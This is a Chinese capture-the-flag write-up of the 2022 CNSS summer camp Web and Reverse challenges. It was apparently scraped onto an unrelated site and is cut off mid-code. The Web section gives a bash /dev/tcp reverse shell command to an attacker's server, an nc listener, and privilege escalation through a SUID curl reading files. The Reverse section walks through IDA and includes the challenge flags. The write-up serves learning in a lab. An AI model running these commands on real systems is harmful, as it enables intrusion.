[CTF] 2022 CNSS夏令营 Web&Reverse 复现wp |
您所在的位置:网站首页 › decode word › [CTF] 2022 CNSS夏令营 Web&Reverse 复现wp |
写在前面
我是真的喜欢凝聚啊, 大家一起就像情侣一样 很有趣的一次(大)学前教育, 作为一个22级泥电新生, 以前没接触过ctf, 进新生群然后就被拉进来Van了. 结果没想到还挺好玩(可能是我这几天太无聊了), 边学边打居然还能当榜一, 满足了. 还是很开心的, 高二有想过打CTF, 但是后面搁置了就忘了, 这也算是圆梦了. 一下能入门接触到这些Web/Re/PWN/Crypto, 接触了IDA/Burp Suite/PWNTools等等, 很有成就感, 也很有满足感. 至少暑假不是在颓废了. 嘿嘿~ BTW, CNSS的佬们还是很好很热情的, 氛围很好, 开森(/≧▽≦)/. WEB 🚩 Signin | 难度评分: ★新手友好签到题! 直接打开链接, 显示Please Change Your Method!. 改成Post后访问出现PHP代码: &xxe; ''' ... Step 3. 反弹shell根据hint可以想到用doCmd反弹一个shell, 这里可能需要你有一个具有公网ip的服务器. 先贴上代码, command改为如下: command = 'bash -i >& /dev/tcp/你服务器公网ip/你nc监听的端口 0>&1' # 反弹shell使用你的服务器打开nc监听, 具体命令为nc -l -vv -p [端口], 比如我使用nc -l -vv -p 6809, 效果如下, 说明已经开始监听: 此时运行上面的代码, 可以发现shell已经被弹到我们的命令行中了, 此时可以随意输入指令了 在shell中返回到根目录, ls发现有fl444444g, 直接输出发现权限不足, 需要提权. 此处当时我寻找的教程是知乎文章: Linux提权的几种常用方式, 也推荐仔细阅读一下hurrison大佬hint中的教程, 更加详细. 使用命令find / -perm -u=s -type f 2>/dev/null找到有root权限的命令: 发现curl在其中, 可以使用file://协议 + curl读取文件: 命令: curl file:///fl444444g 找到flag. CNSS{5dc5330bbeac0192a8db6bf9b269470781e74aff192623e0419edfa0c5e2f8ad} Reverse 💡 Hello Reverse | 难度评分: ★下载IDA, 打开工程, flag就在眼前. cnss{This_is_the_format_of_flag} 🐸 Find the key | 难度评分: ★可以扔进linux运行, 可以不运行. 我直接用IDA打开, 找到main函数, 跟着hint一步一步来. Hint:push F5 in the IDA.按下F5反编译, 可以看到伪C代码. 看函数有个叫click_me的, 直接点开 You can see the key1 in assemble window去assemble window可以看到转char后的变量值 找到第一部分flagIDA-is 继续走到next, 提示进I_am_hear 进去后看到第二部分flaga-useful-tool, 并提示搜索key, 搜索到结果of-reverse 所以flag就是cnss{IDA-is-a-useful-tool-of-reverse} 💯 Baby C code | 难度评分: ★扔IDA直接F5, 得到核心伪代码: int __cdecl main(int argc, const char **argv, const char **envp) { char a[6]; // [rsp+2Ah] [rbp-16h] BYREF int i_1; // [rsp+30h] [rbp-10h] int i_0; // [rsp+34h] [rbp-Ch] char b; // [rsp+3Bh] [rbp-5h] int i; // [rsp+3Ch] [rbp-4h] _main(argc, argv, envp); strcpy(a, "cnss{"); for ( i = 0; i |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |